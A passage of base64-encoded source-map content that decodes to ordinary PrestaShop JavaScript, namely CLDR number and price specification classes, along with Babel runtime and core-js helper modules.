nRheFxuICAgKlxuICAgKiBAcmV0dXJuIHN0cmluZ1xuICAgKi9cbiAgZ2V0TmVnYXRpdmVQYXR0ZXJuKCkge1xuICAgIHJldHVybiB0aGlzLm5lZ2F0aXZlUGF0dGVybjtcbiAgfVxuXG4gIC8qKlxuICAgKiBHZXQgdGhlIG1heGltdW0gbnVtYmVyIG9mIGRpZ2l0cyBhZnRlciBkZWNpbWFsIHNlcGFyYXRvciAocm91bmRpbmcgaWYgbmVlZGVkKS5cbiAgICpcbiAgICogQHJldHVybiBpbnRcbiAgICovXG4gIGdldE1heEZyYWN0aW9uRGlnaXRzKCkge1xuICAgIHJldHVybiB0aGlzLm1heEZyYWN0aW9uRGlnaXRzO1xuICB9XG5cbiAgLyoqXG4gICAqIEdldCB0aGUgbWluaW11bSBudW1iZXIgb2YgZGlnaXRzIGFmdGVyIGRlY2ltYWwgc2VwYXJhdG9yIChmaWxsIHdpdGggXCIwXCIgaWYgbmVlZGVkKS5cbiAgICpcbiAgICogQHJldHVybiBpbnRcbiAgICovXG4gIGdldE1pbkZyYWN0aW9uRGlnaXRzKCkge1xuICAgIHJldHVybiB0aGlzLm1pbkZyYWN0aW9uRGlnaXRzO1xuICB9XG5cbiAgLyoqXG4gICAqIEdldCB0aGUgXCJncm91cGluZ1wiIGZsYWcuIFRoaXMgZmxhZyBkZWZpbmVzIGlmIGRpZ2l0c1xuICAgKiBncm91cGluZyBzaG91bGQgYmUgdXNlZCB3aGVuIGZvcm1hdHRpbmcgdGhpcyBudW1iZXIuXG4gICAqXG4gICAqIEByZXR1cm4gYm9vbFxuICAgKi9cbiAgaXNHcm91cGluZ1VzZWQoKSB7XG4gICAgcmV0dXJuIHRoaXMuZ3JvdXBpbmdVc2VkO1xuICB9XG5cbiAgLyoqXG4gICAqIEdldCB0aGUgc2l6ZSBvZiBwcmltYXJ5IGRpZ2l0cyBncm91cCBpbiB0aGUgbnVtYmVyLlxuICAgKlxuICAgKiBAcmV0dXJuIGludFxuICAgKi9cbiAgZ2V0UHJpbWFyeUdyb3VwU2l6ZSgpIHtcbiAgICByZXR1cm4gdGhpcy5wcmltYXJ5R3JvdXBTaXplO1xuICB9XG5cbiAgLyoqXG4gICAqIEdldCB0aGUgc2l6ZSBvZiBzZWNvbmRhcnkgZGlnaXRzIGdyb3VwcyBpbiB0aGUgbnVtYmVyLlxuICAgKlxuICAgKiBAcmV0dXJuIGludFxuICAgKi9cbiAgZ2V0U2Vjb25kYXJ5R3JvdXBTaXplKCkge1xuICAgIHJldHVybiB0aGlzLnNlY29uZGFyeUdyb3VwU2l6ZTtcbiAgfVxufVxuXG5leHBvcnQgZGVmYXVsdCBOdW1iZXJTcGVjaWZpY2F0aW9uO1xuIiwiLyoqXG4gKiBDb3B5cmlnaHQgc2luY2UgMjAwNyBQcmVzdGFTaG9wIFNBIGFuZCBDb250cmlidXRvcnNcbiAqIFByZXN0YVNob3AgaXMgYW4gSW50ZXJuYXRpb25hbCBSZWdpc3RlcmVkIFRyYWRlbWFyayAmIFByb3BlcnR5IG9mIFByZXN0YVNob3AgU0FcbiAqXG4gKiBOT1RJQ0UgT0YgTElDRU5TRVxuICpcbiAqIFRoaXMgc291cmNlIGZpbGUgaXMgc3ViamVjdCB0byB0aGUgT3BlbiBTb2Z0d2FyZSBMaWNlbnNlIChPU0wgMy4wKVxuICogdGhhdCBpcyBidW5kbGVkIHdpdGggdGhpcyBwYWNrYWdlIGluIHRoZSBmaWxlIExJQ0VOU0UubWQuXG4gKiBJdCBpcyBhbHNvIGF2YWlsYWJsZSB0aHJvdWdoIHRoZSB3b3JsZC13aWRlLXdlYiBhdCB0aGlzIFVSTDpcbiAqIGh0dHBzOi8vb3BlbnNvdXJjZS5vcmcvbGljZW5zZXMvT1NMLTMuMFxuICogSWYgeW91IGRpZCBub3QgcmVjZWl2ZSBhIGNvcHkgb2YgdGhlIGxpY2Vuc2UgYW5kIGFyZSB1bmFibGUgdG9cbiAqIG9idGFpbiBpdCB0aHJvdWdoIHRoZSB3b3JsZC13aWRlLXdlYiwgcGxlYXNlIHNlbmQgYW4gZW1haWxcbiAqIHRvIGxpY2Vuc2VAcHJlc3Rhc2hvcC5jb20gc28gd2UgY2FuIHNlbmQgeW91IGEgY29weSBpbW1lZGlhdGVseS5cbiAqXG4gKiBESVNDTEFJTUVSXG4gKlxuICogRG8gbm90IGVkaXQgb3IgYWRkIHRvIHRoaXMgZmlsZSBpZiB5b3Ugd2lzaCB0byB1cGdyYWRlIFByZXN0YVNob3AgdG8gbmV3ZXJcbiAqIHZlcnNpb25zIGluIHRoZSBmdXR1cmUuIElmIHlvdSB3aXNoIHRvIGN1c3RvbWl6ZSBQcmVzdGFTaG9wIGZvciB5b3VyXG4gKiBuZWVkcyBwbGVhc2UgcmVmZXIgdG8gaHR0cHM6Ly9kZXZkb2NzLnByZXN0YXNob3AuY29tLyBmb3IgbW9yZSBpbmZvcm1hdGlvbi5cbiAqXG4gKiBAYXV0aG9yICAgIFByZXN0YVNob3AgU0EgYW5kIENvbnRyaWJ1dG9ycyA8Y29udGFjdEBwcmVzdGFzaG9wLmNvbT5cbiAqIEBjb3B5cmlnaHQgU2luY2UgMjAwNyBQcmVzdGFTaG9wIFNBIGFuZCBDb250cmlidXRvcnNcbiAqIEBsaWNlbnNlICAgaHR0cHM6Ly9vcGVuc291cmNlLm9yZy9saWNlbnNlcy9PU0wtMy4wIE9wZW4gU29mdHdhcmUgTGljZW5zZSAoT1NMIDMuMClcbiAqL1xuaW1wb3J0IExvY2FsaXphdGlvbkV4Y2VwdGlvbiBmcm9tICdAYXBwL2NsZHIvZXhjZXB0aW9uL2xvY2FsaXphdGlvbic7XG5pbXBvcnQgTnVtYmVyU3BlY2lmaWNhdGlvbiBmcm9tICdAYXBwL2NsZHIvc3BlY2lmaWNhdGlvbnMvbnVtYmVyJztcblxuLyoqXG4gKiBDdXJyZW5jeSBkaXNwbGF5IG9wdGlvbjogc3ltYm9sIG5vdGF0aW9uLlxuICovXG5jb25zdCBDVVJSRU5DWV9ESVNQTEFZX1NZTUJPTCA9ICdzeW1ib2wnO1xuXG5jbGFzcyBQcmljZVNwZWNpZmljYXRpb24gZXh0ZW5kcyBOdW1iZXJTcGVjaWZpY2F0aW9uIHtcbiAgLyoqXG4gICAqIFByaWNlIHNwZWNpZmljYXRpb24gY29uc3RydWN0b3IuXG4gICAqXG4gICAqIEBwYXJhbSBzdHJpbmcgcG9zaXRpdmVQYXR0ZXJuIENMRFIgZm9ybWF0dGluZyBwYXR0ZXJuIGZvciBwb3NpdGl2ZSBhbW91bnRzXG4gICAqIEBwYXJhbSBzdHJpbmcgbmVnYXRpdmVQYXR0ZXJuIENMRFIgZm9ybWF0dGluZyBwYXR0ZXJuIGZvciBuZWdhdGl2ZSBhbW91bnRzXG4gICAqIEBwYXJhbSBOdW1iZXJTeW1ib2wgc3ltYm9sIE51bWJlciBzeW1ib2xcbiAgICogQHBhcmFtIGludCBtYXhGcmFjdGlvbkRpZ2l0cyBNYXhpbXVtIG51bWJlciBvZiBkaWdpdHMgYWZ0ZXIgZGVjaW1hbCBzZXBhcmF0b3JcbiAgICogQHBhcmFtIGludCBtaW5GcmFjdGlvbkRpZ2l0cyBNaW5pbXVtIG51bWJlciBvZiBkaWdpdHMgYWZ0ZXIgZGVjaW1hbCBzZXBhcmF0b3JcbiAgICogQHBhcmFtIGJvb2wgZ3JvdXBpbmdVc2VkIElzIGRpZ2l0cyBncm91cGluZyB1c2VkID9cbiAgICogQHBhcmFtIGludCBwcmltYXJ5R3JvdXBTaXplIFNpemUgb2YgcHJpbWFyeSBkaWdpdHMgZ3JvdXAgaW4gdGhlIG51bWJlclxuICAgKiBAcGFyYW0gaW50IHNlY29uZGFyeUdyb3VwU2l6ZSBTaXplIG9mIHNlY29uZGFyeSBkaWdpdHMgZ3JvdXAgaW4gdGhlIG51bWJlclxuICAgKiBAcGFyYW0gc3RyaW5nIGN1cnJlbmN5U3ltYm9sIEN1cnJlbmN5IHN5bWJvbCBvZiB0aGlzIHByaWNlIChlZy4gOiDigqwpXG4gICAqIEBwYXJhbSBjdXJyZW5jeUNvZGUgQ3VycmVuY3kgY29kZSBvZiB0aGlzIHByaWNlIChlLmcuOiBFVVIpXG4gICAqXG4gICAqIEB0aHJvd3MgTG9jYWxpemF0aW9uRXhjZXB0aW9uXG4gICAqL1xuICBjb25zdHJ1Y3RvcihcbiAgICBwb3NpdGl2ZVBhdHRlcm4sXG4gICAgbmVnYXRpdmVQYXR0ZXJuLFxuICAgIHN5bWJvbCxcbiAgICBtYXhGcmFjdGlvbkRpZ2l0cyxcbiAgICBtaW5GcmFjdGlvbkRpZ2l0cyxcbiAgICBncm91cGluZ1VzZWQsXG4gICAgcHJpbWFyeUdyb3VwU2l6ZSxcbiAgICBzZWNvbmRhcnlHcm91cFNpemUsXG4gICAgY3VycmVuY3lTeW1ib2wsXG4gICAgY3VycmVuY3lDb2RlLFxuICApIHtcbiAgICBzdXBlcihcbiAgICAgIHBvc2l0aXZlUGF0dGVybixcbiAgICAgIG5lZ2F0aXZlUGF0dGVybixcbiAgICAgIHN5bWJvbCxcbiAgICAgIG1heEZyYWN0aW9uRGlnaXRzLFxuICAgICAgbWluRnJhY3Rpb25EaWdpdHMsXG4gICAgICBncm91cGluZ1VzZWQsXG4gICAgICBwcmltYXJ5R3JvdXBTaXplLFxuICAgICAgc2Vjb25kYXJ5R3JvdXBTaXplLFxuICAgICk7XG4gICAgdGhpcy5jdXJyZW5jeVN5bWJvbCA9IGN1cnJlbmN5U3ltYm9sO1xuICAgIHRoaXMuY3VycmVuY3lDb2RlID0gY3VycmVuY3lDb2RlO1xuXG4gICAgaWYgKCF0aGlzLmN1cnJlbmN5U3ltYm9sIHx8IHR5cGVvZiB0aGlzLmN1cnJlbmN5U3ltYm9sICE9PSAnc3RyaW5nJykge1xuICAgICAgdGhyb3cgbmV3IExvY2FsaXphdGlvbkV4Y2VwdGlvbignSW52YWxpZCBjdXJyZW5jeVN5bWJvbCcpO1xuICAgIH1cblxuICAgIGlmICghdGhpcy5jdXJyZW5jeUNvZGUgfHwgdHlwZW9mIHRoaXMuY3VycmVuY3lDb2RlICE9PSAnc3RyaW5nJykge1xuICAgICAgdGhyb3cgbmV3IExvY2FsaXphdGlvbkV4Y2VwdGlvbignSW52YWxpZCBjdXJyZW5jeUNvZGUnKTtcbiAgICB9XG4gIH1cblxuICAvKipcbiAgICogR2V0IHR5cGUgb2YgZGlzcGxheSBmb3IgY3VycmVuY3kgc3ltYm9sLlxuICAgKlxuICAgKiBAcmV0dXJuIHN0cmluZ1xuICAgKi9cbiAgc3RhdGljIGdldEN1cnJlbmN5RGlzcGxheSgpIHtcbiAgICByZXR1cm4gQ1VSUkVOQ1lfRElTUExBWV9TWU1CT0w7XG4gIH1cblxuICAvKipcbiAgICogR2V0IHRoZSBjdXJyZW5jeSBzeW1ib2xcbiAgICogZS5nLjog4oKsLlxuICAgKlxuICAgKiBAcmV0dXJuIHN0cmluZ1xuICAgKi9cbiAgZ2V0Q3VycmVuY3lTeW1ib2woKSB7XG4gICAgcmV0dXJuIHRoaXMuY3VycmVuY3lTeW1ib2w7XG4gIH1cblxuICAvKipcbiAgICogR2V0IHRoZSBjdXJyZW5jeSBJU08gY29kZVxuICAgKiBlLmcuOiBFVVIuXG4gICAqXG4gICAqIEByZXR1cm4gc3RyaW5nXG4gICAqL1xuICBnZXRDdXJyZW5jeUNvZGUoKSB7XG4gICAgcmV0dXJuIHRoaXMuY3VycmVuY3lDb2RlO1xuICB9XG59XG5cbmV4cG9ydCBkZWZhdWx0IFByaWNlU3BlY2lmaWNhdGlvbjtcbiIsIm1vZHVsZS5leHBvcnRzID0geyBcImRlZmF1bHRcIjogcmVxdWlyZShcImNvcmUtanMvbGlicmFyeS9mbi9hcnJheS9mcm9tXCIpLCBfX2VzTW9kdWxlOiB0cnVlIH07IiwibW9kdWxlLmV4cG9ydHMgPSB7IFwiZGVmYXVsdFwiOiByZXF1aXJlKFwiY29yZS1qcy9saWJyYXJ5L2ZuL2dldC1pdGVyYXRvclwiKSwgX19lc01vZHVsZTogdHJ1ZSB9OyIsIm1vZHVsZS5leHBvcnRzID0geyBcImRlZmF1bHRcIjogcmVxdWlyZShcImNvcmUtanMvbGlicmFyeS9mbi9pcy1pdGVyYWJsZVwiKSwgX19lc01vZHVsZTogdHJ1ZSB9OyIsIm1vZHVsZS5leHBvcnRzID0geyBcImRlZmF1bHRcIjogcmVxdWlyZShcImNvcmUtanMvbGlicmFyeS9mbi9vYmplY3QvY3JlYXRlXCIpLCBfX2VzTW9kdWxlOiB0cnVlIH07IiwibW9kdWxlLmV4cG9ydHMgPSB7IFwiZGVmYXVsdFwiOiByZXF1aXJlKFwiY29yZS1qcy9saWJyYXJ5L2ZuL29iamVjdC9kZWZpbmUtcHJvcGVydHlcIiksIF9fZXNNb2R1bGU6IHRydWUgfTsiLCJtb2R1bGUuZXhwb3J0cyA9IHsgXCJkZWZhdWx0XCI6IHJlcXVpcmUoXCJjb3JlLWpzL2xpYnJhcnkvZm4vb2JqZWN0L2dldC1wcm90b3R5cGUtb2ZcIiksIF9fZXNNb2R1bGU6IHRydWUgfTsiLCJtb2R1bGUuZXhwb3J0cyA9IHsgXCJkZWZhdWx0XCI6IHJlcXVpcmUoXCJjb3JlLWpzL2xpYnJhcnkvZm4vb2JqZWN0L2tleXNcIiksIF9fZXNNb2R1bGU6IHRydWUgfTsiLCJtb2R1bGUuZXhwb3J0cyA9IHsgXCJkZWZhdWx0XCI6IHJlcXVpcmUoXCJjb3JlLWpzL2xpYnJhcnkvZm4vb2JqZWN0L3NldC1wcm90b3R5cGUtb2ZcIiksIF9fZXNNb2R1bGU6IHRydWUgfTsiLCJtb2R1bGUuZXhwb3J0cyA9IHsgXCJkZWZhdWx0XCI6IHJlcXVpcmUoXCJjb3JlLWpzL2xpYnJhcnkvZm4vc3ltYm9sXCIpLCBfX2VzTW9kdWxlOiB0cnVlIH07IiwibW9kdWxlLmV4cG9ydHMgPSB7IFwiZGVmYXVsdFwiOiByZXF1aXJlKFwiY29yZS1qcy9saWJyYXJ5L2ZuL3N5bWJvbC9pdGVyYXRvclwiKSwgX19lc01vZHVsZTogdHJ1ZSB9OyIsIlwidXNlIHN0cmljdFwiO1xuXG5leHBvcnRzLl9fZXNNb2R1bGUgPSB0cnVlO1xuXG5leHBvcnRzLmRlZmF1bHQgPSBmdW5jdGlvbiAoaW5zdGFuY2UsIENvbnN0cnVjdG9yKSB7XG4gIGlmICghKGluc3RhbmNlIGluc3RhbmNlb2YgQ29uc3RydWN0b3IpKSB7XG4gICAgdGhyb3cgbmV3IFR5cGVFcnJvcihcIkNhbm5vdCBjYWxsIGEgY2xhc3MgYXMgYSBmdW5jdGlvblwiKTtcbiAgfVxufTsiLCJcInVzZSBzdHJpY3RcIjtcblxuZXhwb3J0cy5fX2VzTW9kdWxlID0gdHJ1ZTtcblxudmFyIF9kZWZpbmVQcm9wZXJ0eSA9IHJlcXVpcmUoXCIuLi9jb3JlLWpzL29iamVjdC9kZWZpbmUtcHJvcGVydHlcIik7XG5cbnZhciBfZGVmaW5lUHJvcGVydHkyID0gX2ludGVyb3BSZXF1aXJlRGVmYXVsdChfZGVmaW5lUHJvcGVydHkpO1xuXG5mdW5jdGlvbiBfaW50ZXJvcFJlcXVpcmVEZWZhdWx0KG9iaikgeyByZXR1cm4gb2JqICYmIG9iai5fX2VzTW9kdWxlID8gb2JqIDogeyBkZWZhdWx0OiBvYmogfTsgfVxuXG5leHBvcnRzLmRlZmF1bHQgPSBmdW5jdGlvbiAoKSB7XG4gIGZ1bmN0aW9uIGRlZmluZVByb3BlcnRpZXModGFyZ2V0LCBwcm9wcykge1xuICAgIGZvciAodmFyIGkgPSAwOyBpIDwgcHJvcHMubGVuZ3RoOyBpKyspIHtcbiAgICAgIHZhciBkZXNjcmlwdG9yID0gcHJvcHNbaV07XG4gICAgICBkZXNjcmlwdG9yLmVudW1lcmFibGUgPSBkZXNjcmlwdG9yLmVudW1lcmFibGUgfHwgZmFsc2U7XG4gICAgICBkZXNjcmlwdG9yLmNvbmZpZ3VyYWJsZSA9IHRydWU7XG4gICAgICBpZiAoXCJ2YWx1ZVwiIGluIGRlc2NyaXB0b3IpIGRlc2NyaXB0b3Iud3JpdGFibGUgPSB0cnVlO1xuICAgICAgKDAsIF9kZWZpbmVQcm9wZXJ0eTIuZGVmYXVsdCkodGFyZ2V0LCBkZXNjcmlwdG9yLmtleSwgZGVzY3JpcHRvcik7XG4gICAgfVxuICB9XG5cbiAgcmV0dXJuIGZ1bmN0aW9uIChDb25zdHJ1Y3RvciwgcHJvdG9Qcm9wcywgc3RhdGljUHJvcHMpIHtcbiAgICBpZiAocHJvdG9Qcm9wcykgZGVmaW5lUHJvcGVydGllcyhDb25zdHJ1Y3Rvci5wcm90b3R5cGUsIHByb3RvUHJvcHMpO1xuICAgIGlmIChzdGF0aWNQcm9wcykgZGVmaW5lUHJvcGVydGllcyhDb25zdHJ1Y3Rvciwgc3RhdGljUHJvcHMpO1xuICAgIHJldHVybiBDb25zdHJ1Y3RvcjtcbiAgfTtcbn0oKTsiLCJcInVzZSBzdHJpY3RcIjtcblxuZXhwb3J0cy5fX2VzTW9kdWxlID0gdHJ1ZTtcblxudmFyIF9zZXRQcm90b3R5cGVPZiA9IHJlcXVpcmUoXCIuLi9jb3JlLWpzL29iamVjdC9zZXQtcHJvdG90eXBlLW9mXCIpO1xuXG52YXIgX3NldFByb3RvdHlwZU9mMiA9IF9pbnRlcm9wUmVxdWlyZURlZmF1bHQoX3NldFByb3RvdHlwZU9mKTtcblxudmFyIF9jcmVhdGUgPSByZXF1aXJlKFwiLi4vY29yZS1qcy9vYmplY3QvY3JlYXRlXCIpO1xuXG52YXIgX2NyZWF0ZTIgPSBfaW50ZXJvcFJlcXVpcmVEZWZhdWx0KF9jcmVhdGUpO1xuXG52YXIgX3R5cGVvZjIgPSByZXF1aXJlKFwiLi4vaGVscGVycy90eXBlb2ZcIik7XG5cbnZhciBfdHlwZW9mMyA9IF9pbnRlcm9wUmVxdWlyZURlZmF1bHQoX3R5cGVvZjIpO1xuXG5mdW5jdGlvbiBfaW50ZXJvcFJlcXVpcmVEZWZhdWx0KG9iaikgeyByZXR1cm4gb2JqICYmIG9iai5fX2VzTW9kdWxlID8gb2JqIDogeyBkZWZhdWx0OiBvYmogfTsgfVxuXG5leHBvcnRzLmRlZmF1bHQgPSBmdW5jdGlvbiAoc3ViQ2xhc3MsIHN1cGVyQ2xhc3MpIHtcbiAgaWYgKHR5cGVvZiBzdXBlckNsYXNzICE9PSBcImZ1bmN0aW9uXCIgJiYgc3VwZXJDbGFzcyAhPT0gbnVsbCkge1xuICAgIHRocm93IG5ldyBUeXBlRXJyb3IoXCJTdXBlciBleHByZXNzaW9uIG11c3QgZWl0aGVyIGJlIG51bGwgb3IgYSBmdW5jdGlvbiwgbm90IFwiICsgKHR5cGVvZiBzdXBlckNsYXNzID09PSBcInVuZGVmaW5lZFwiID8gXCJ1bmRlZmluZWRcIiA6ICgwLCBfdHlwZW9mMy5kZWZhdWx0KShzdXBlckNsYXNzKSkpO1xuICB9XG5cbiAgc3ViQ2xhc3MucHJvdG90eXBlID0gKDAsIF9jcmVhdGUyLmRlZmF1bHQpKHN1cGVyQ2xhc3MgJiYgc3VwZXJDbGFzcy5wcm90b3R5cGUsIHtcbiAgICBjb25zdHJ1Y3Rvcjoge1xuICAgICAgdmFsdWU6IHN1YkNsYXNzLFxuICAgICAgZW51bWVyYWJsZTogZmFsc2UsXG4gICAgICB3cml0YWJsZTogdHJ1ZSxcbiAgICAgIGNvbmZpZ3VyYWJsZTogdHJ1ZVxuICAgIH1cbiAgfSk7XG4gIGlmIChzdXBlckNsYXNzKSBfc2V0UHJvdG90eXBlT2YyLmRlZmF1bHQgPyAoMCwgX3NldFByb3RvdHlwZU9mMi5kZWZhdWx0KShzdWJDbGFzcywgc3VwZXJDbGFzcykgOiBzdWJDbGFzcy5fX3Byb3RvX18gPSBzdXBlckNsYXNzO1xufTsiLCJcInVzZSBzdHJpY3RcIjtcblxuZXhwb3J0cy5fX2VzTW9kdWxlID0gdHJ1ZTtcblxudmFyIF90eXBlb2YyID0gcmVxdWlyZShcIi4uL2hlbHBlcnMvdHlwZW9mXCIpO1xuXG52YXIgX3R5cGVvZjMgPSBfaW50ZXJvcFJlcXVpcmVEZWZhdWx0KF90eXBlb2YyKTtcblxuZnVuY3Rpb24gX2ludGVyb3BSZXF1aXJlRGVmYXVsdChvYmopIHsgcmV0dXJuIG9iaiAmJiBvYmouX19lc01vZHVsZSA/IG9iaiA6IHsgZGVmYXVsdDogb2JqIH07IH1cblxuZXhwb3J0cy5kZWZhdWx0ID0gZnVuY3Rpb24gKHNlbGYsIGNhbGwpIHtcbiAgaWYgKCFzZWxmKSB7XG4gICAgdGhyb3cgbmV3IFJlZmVyZW5jZUVycm9yKFwidGhpcyBoYXNuJ3QgYmVlbiBpbml0aWFsaXNlZCAtIHN1cGVyKCkgaGFzbid0IGJlZW4gY2FsbGVkXCIpO1xuICB9XG5cbiAgcmV0dXJuIGNhbGwgJiYgKCh0eXBlb2YgY2FsbCA9PT0gXCJ1bmRlZmluZWRcIiA/IFwidW5kZWZpbmVkXCIgOiAoMCwgX3R5cGVvZjMuZGVmYXVsdCkoY2FsbCkpID09PSBcIm9iamVjdFwiIHx8IHR5cGVvZiBjYWxsID09PSBcImZ1bmN0aW9uXCIpID8gY2FsbCA6IHNlbGY7XG59OyIsIlwidXNlIHN0cmljdFwiO1xuXG5leHBvcnRzLl9fZXNNb2R1bGUgPSB0cnVlO1xuXG52YXIgX2lzSXRlcmFibGUyID0gcmVxdWlyZShcIi4uL2NvcmUtanMvaXMtaXRlcmFibGVcIik7XG5cbnZhciBfaXNJdGVyYWJsZTMgPSBfaW50ZXJvcFJlcXVpcmVEZWZhdWx0KF9pc0l0ZXJhYmxlMik7XG5cbnZhciBfZ2V0SXRlcmF0b3IyID0gcmVxdWlyZShcIi4uL2NvcmUtanMvZ2V0LWl0ZXJhdG9yXCIpO1xuXG52YXIgX2dldEl0ZXJhdG9yMyA9IF9pbnRlcm9wUmVxdWlyZURlZmF1bHQoX2dldEl0ZXJhdG9yMik7XG5cbmZ1bmN0aW9uIF9pbnRlcm9wUmVxdWlyZURlZmF1bHQob2JqKSB7IHJldHVybiBvYmogJiYgb2JqLl9fZXNNb2R1bGUgPyBvYmogOiB7IGRlZmF1bHQ6IG9iaiB9OyB9XG5cbmV4cG9ydHMuZGVmYXVsdCA9IGZ1bmN0aW9uICgpIHtcbiAgZnVuY3Rpb24gc2xpY2VJdGVyYXRvcihhcnIsIGkpIHtcbiAgICB2YXIgX2FyciA9IFtdO1xuICAgIHZhciBfbiA9IHRydWU7XG4gICAgdmFyIF9kID0gZmFsc2U7XG4gICAgdmFyIF9lID0gdW5kZWZpbmVkO1xuXG4gICAgdHJ5IHtcbiAgICAgIGZvciAodmFyIF9pID0gKDAsIF9nZXRJdGVyYXRvcjMuZGVmYXVsdCkoYXJyKSwgX3M7ICEoX24gPSAoX3MgPSBfaS5uZXh0KCkpLmRvbmUpOyBfbiA9IHRydWUpIHtcbiAgICAgICAgX2Fyci5wdXNoKF9zLnZhbHVlKTtcblxuICAgICAgICBpZiAoaSAmJiBfYXJyLmxlbmd0aCA9PT0gaSkgYnJlYWs7XG4gICAgICB9XG4gICAgfSBjYXRjaCAoZXJyKSB7XG4gICAgICBfZCA9IHRydWU7XG4gICAgICBfZSA9IGVycjtcbiAgICB9IGZpbmFsbHkge1xuICAgICAgdHJ5IHtcbiAgICAgICAgaWYgKCFfbiAmJiBfaVtcInJldHVyblwiXSkgX2lbXCJyZXR1cm5cIl0oKTtcbiAgICAgIH0gZmluYWxseSB7XG4gICAgICAgIGlmIChfZCkgdGhyb3cgX2U7XG4gICAgICB9XG4gICAgfVxuXG4gICAgcmV0dXJuIF9hcnI7XG4gIH1cblxuICByZXR1cm4gZnVuY3Rpb24gKGFyciwgaSkge1xuICAgIGlmIChBcnJheS5pc0FycmF5KGFycikpIHtcbiAgICAgIHJldHVybiBhcnI7XG4gICAgfSBlbHNlIGlmICgoMCwgX2lzSXRlcmFibGUzLmRlZmF1bHQpKE9iamVjdChhcnIpKSkge1xuICAgICAgcmV0dXJuIHNsaWNlSXRlcmF0b3IoYXJyLCBpKTtcbiAgICB9IGVsc2Uge1xuICAgICAgdGhyb3cgbmV3IFR5cGVFcnJvcihcIkludmFsaWQgYXR0ZW1wdCB0byBkZXN0cnVjdHVyZSBub24taXRlcmFibGUgaW5zdGFuY2VcIik7XG4gICAgfVxuICB9O1xufSgpOyIsIlwidXNlIHN0cmljdFwiO1xuXG5leHBvcnRzLl9fZXNNb2R1bGUgPSB0cnVlO1xuXG52YXIgX2Zyb20gPSByZXF1aXJlKFwiLi4vY29yZS1qcy9hcnJheS9mcm9tXCIpO1xuXG52YXIgX2Zyb20yID0gX2ludGVyb3BSZXF1aXJlRGVmYXVsdChfZnJvbSk7XG5cbmZ1bmN0aW9uIF9pbnRlcm9wUmVxdWlyZURlZmF1bHQob2JqKSB7IHJldHVybiBvYmogJiYgb2JqLl9fZXNNb2R1bGUgPyBvYmogOiB7IGRlZmF1bHQ6IG9iaiB9OyB9XG5cbmV4cG9ydHMuZGVmYXVsdCA9IGZ1bmN0aW9uIChhcnIpIHtcbiAgaWYgKEFycmF5LmlzQXJyYXkoYXJyKSkge1xuICAgIGZvciAodmFyIGkgPSAwLCBhcnIyID0gQXJyYXkoYXJyLmxlbmd0aCk7IGkgPCBhcnIubGVuZ3RoOyBpKyspIHtcbiAgICAgIGFycjJbaV0gPSBhcnJbaV07XG4gICAgfVxuXG4gICAgcmV0dXJuIGFycjI7XG4gIH0gZWxzZSB7XG4gICAgcmV0dXJuICgwLCBfZnJvbTIuZGVmYXVsdCkoYXJyKTtcbiAgfVxufTsiLCJcInVzZSBzdHJpY3RcIjtcblxuZXhwb3J0cy5fX2VzTW9kdWxlID0gdHJ1ZTtcblxudmFyIF9pdGVyYXRvciA9IHJlcXVpcmUoXCIuLi9jb3JlLWpzL3N5bWJvbC9pdGVyYXRvclwiKTtcblxudmFyIF9pdGVyYXRvcjIgPSBfaW50ZXJvcFJlcXVpcmVEZWZhdWx0KF9pdGVyYXRvcik7XG5cbnZhciBfc3ltYm9sID0gcmVxdWlyZShcIi4uL2NvcmUtanMvc3ltYm9sXCIpO1xuXG52YXIgX3N5bWJvbDIgPSBfaW50ZXJvcFJlcXVpcmVEZWZhdWx0KF9zeW1ib2wpO1xuXG52YXIgX3R5cGVvZiA9IHR5cGVvZiBfc3ltYm9sMi5kZWZhdWx0ID09PSBcImZ1bmN0aW9uXCIgJiYgdHlwZW9mIF9pdGVyYXRvcjIuZGVmYXVsdCA9PT0gXCJzeW1ib2xcIiA/IGZ1bmN0aW9uIChvYmopIHsgcmV0dXJuIHR5cGVvZiBvYmo7IH0gOiBmdW5jdGlvbiAob2JqKSB7IHJldHVybiBvYmogJiYgdHlwZW9mIF9zeW1ib2wyLmRlZmF1bHQgPT09IFwiZnVuY3Rpb25cIiAmJiBvYmouY29uc3RydWN0b3IgPT09IF9zeW1ib2wyLmRlZmF1bHQgJiYgb2JqICE9PSBfc3ltYm9sMi5kZWZhdWx0LnByb3RvdHlwZSA/IFwic3ltYm9sXCIgOiB0eXBlb2Ygb2JqOyB9O1xuXG5mdW5jdGlvbiBfaW50ZXJvcFJlcXVpcmVEZWZhdWx0KG9iaikgeyByZXR1cm4gb2JqICYmIG9iai5fX2VzTW9kdWxlID8gb2JqIDogeyBkZWZhdWx0OiBvYmogfTsgfVxuXG5leHBvcnRzLmRlZmF1bHQgPSB0eXBlb2YgX3N5bWJvbDIuZGVmYXVsdCA9PT0gXCJmdW5jdGlvblwiICYmIF90eXBlb2YoX2l0ZXJhdG9yMi5kZWZhdWx0KSA9PT0gXCJzeW1ib2xcIiA/IGZ1bmN0aW9uIChvYmopIHtcbiAgcmV0dXJuIHR5cGVvZiBvYmogPT09IFwidW5kZWZpbmVkXCIgPyBcInVuZGVmaW5lZFwiIDogX3R5cGVvZihvYmopO1xufSA6IGZ1bmN0aW9uIChvYmopIHtcbiAgcmV0dXJuIG9iaiAmJiB0eXBlb2YgX3N5bWJvbDIuZGVmYXVsdCA9PT0gXCJmdW5jdGlvblwiICYmIG9iai5jb25zdHJ1Y3RvciA9PT0gX3N5bWJvbDIuZGVmYXVsdCAmJiBvYmogIT09IF9zeW1ib2wyLmRlZmF1bHQucHJvdG90eXBlID8gXCJzeW1ib2xcIiA6IHR5cGVvZiBvYmogPT09IFwidW5kZWZpbmVkXCIgPyBcInVuZGVmaW5lZFwiIDogX3R5cGVvZihvYmopO1xufTsiLCJyZXF1aXJlKCcuLi8uLi9tb2R1bGVzL2VzNi5zdHJpbmcuaXRlcmF0b3InKTtcbnJlcXVpcmUoJy4uLy4uL21vZHVsZXMvZXM2LmFycmF5LmZyb20nKTtcbm1vZHVsZS5leHBvcnRzID0gcmVxdWlyZSgnLi4vLi4vbW9kdWxlcy9fY29yZScpLkFycmF5LmZyb207XG4iLCJyZXF1aXJlKCcuLi9tb2R1bGVzL3dlYi5kb20uaXRlcmFibGUnKTtcbnJlcXVpcmUoJy4uL21vZHVsZXMvZXM2LnN0cmluZy5pdGVyYXRvcicpO1xubW9kdWxlLmV4cG9ydHMgPSByZXF1aXJlKCcuLi9tb2R1bGVzL2NvcmUuZ2V0LWl0ZXJhdG9yJyk7XG4iLCJyZXF1aXJlKCcuLi9tb2R1bGVzL3dlYi5kb20uaXRlcmFibGUnKTtcbnJlcXVpcmUoJy